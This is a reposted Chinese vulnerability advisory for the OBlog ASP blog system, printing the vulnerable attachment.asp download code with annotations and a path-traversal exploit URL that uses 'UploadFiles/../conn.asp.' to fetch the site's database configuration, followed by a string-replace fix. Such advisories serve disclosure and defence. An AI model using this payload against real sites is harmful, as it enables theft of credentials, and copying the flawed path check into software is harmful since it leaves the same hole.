源码网商城,靠谱的源码在线交易网站 我的订单 购物车 帮助

源码网商城

OBlog任意文件下载漏洞

  • 时间:2020-10-10 02:27 编辑: 来源: 阅读:
  • 扫一扫,手机访问
摘要:OBlog任意文件下载漏洞
Path = Trim(Request("path")) '获取用户提交的路径  FileID = Trim(Request("FileID"))  If FileID ="" And Path = "" Then  Response.Write "参数不足"  Response.End  End If  ...  If CheckDownLoad Or 1= 1Then  If Path = "" Then  set rs = Server.CreateObject("ADODB.RecordSet")  link_database  SQL = ("select file_path,userid,file_ext,ViewNum FROM oblog_upfile WHERE FileID = "&CLng(FileID))  rs.open sql,conn,1,3  If Not rs.Eof Then  uid = rs(1)  file_ext = rs(2)  rs("ViewNum") = rs("ViewNum") + 1  rs.Update  downloadFile Server.MapPath(rs(0)),0  Else  Response.Status=404  Response.Write "该附件不存在!"  End If  rs.Close  Set rs = Nothing  Else  If InStr(path,Oblog.CacheConfig(56)) > 0 Then 'Tr4c3 标注:注意这里,仅仅判断用户提交的路径是否包含UploadFiles,为真则调用downloadfile函数下载文件  downloadFile Server.MapPath(Path),1  End if  End If  Else  '如果附件为图片的话,当权限检验无法通过则调用一默认图片,防止<img>标记无法调用,影响显示效果  If Path = "" Then  Response.Status=403  Response.Write ShowDownErr  Response.End  Else  downloadFile Server.MapPath(blogdir&"images/oblog_powered.gif"),1  End if  End if  Set oblog = Nothing  Sub downloadFile(strFile,stype)  On Error Resume Next  Server.ScriptTimeOut=9999999  Dim S,fso,f,intFilelength,strFilename  strFilename = strFile  Response.Clear  Set s = Server.CreateObject(oblog.CacheCompont(2))  s.Open  s.Type = 1  Set fso = Server.CreateObject(oblog.CacheCompont(1))  If Not fso.FileExists(strFilename) Then  If stype = 0 Then  Response.Status=404  Response.Write "该附件已经被删除!"  Exit Sub  Else  strFilename = Server.MapPath(blogdir&"images/nopic.gif")  End if  End If  Set f = fso.GetFile(strFilename)  intFilelength = f.size  s.LoadFromFile(strFilename)  If Err Then  Response.Write("<h1>错误: </h1>" & Err.Description & "<p>")  Response.End  End If  Set fso=Nothing  Dim Data  Data=s.Read  s.Close  Set s=Nothing  Dim ContentType  select Case LCase(Right(strFile, 4))  Case ".asp",".mdb",".config",".js" 'Tr4c3 标注:再看这里,想起来什么来了?对了,前几天我发的沸腾展望新闻系统的任意下载漏洞跟这个检查的方法差不多[http://www.tr4c3.com /post/306.html],利用方法也相似,神奇的"."又派上用场了。  Exit Sub  Case ".asf"  ContentType = "video/x-ms-asf"  Case ".avi"  ContentType = "video/avi"  Case ".doc"  ContentType = "application/msword"  Case ".zip"  ContentType = "application/zip"  Case ".xls"  ContentType = "application/vnd.ms-excel"  Case ".gif"  ContentType = "image/gif"  Case ".jpg", "jpeg"  ContentType = "image/jpeg"  Case ".wav"  ContentType = "audio/wav"  Case ".mp3"  ContentType = "audio/mpeg3"  Case ".mpg", "mpeg"  ContentType = "video/mpeg"  Case ".rtf"  ContentType = "application/rtf"  Case ".htm", "html"  ContentType = "text/html"  Case ".txt"  ContentType = "text/plain"  Case Else  ContentType = "application/octet-stream"  End select  If Response.IsClientConnected Then  If Not (InStr(LCase(f.name),".gif")>0 Or InStr(LCase(f.name),".jpg")>0 Or InStr(LCase(f.name),".jpeg")>0 Or InStr(LCase(f.name),".bmp")>0 Or InStr(LCase(f.name),".png")>0 )Then  Response.AddHeader "Content-Disposition", "attachment; filename=" & f.name  End If  Response.AddHeader "Content-Length", intFilelength  Response.CharSet = "UTF-8"  Response.ContentType = ContentType  Response.BinaryWrite Data  Response.Flush  Response.Clear()  End If  End Sub <* 参考: Tr4c3[at]126[dot]com  *>  测试方法: [警 告] 以下程序(方法)可能带有攻击性,仅供安全研究与教学之用.风险自负! ######################################################################## 利用方法: http://www.target.com/attachment.asp?path=UploadFiles/../conn.asp. ########################################################################   建议: 修补建议: 等待官方发布新的补丁程序。 ######################################################################## 临时解决办法: 将attachment.asp第5行 Path = Trim(Request(”path”)) 改成 Path = Replace(Trim(Request(”path”)),”..”,”") ######################################################################## 
  • 全部评论(0)
联系客服
客服电话:
400-000-3129
微信版

扫一扫进微信版
返回顶部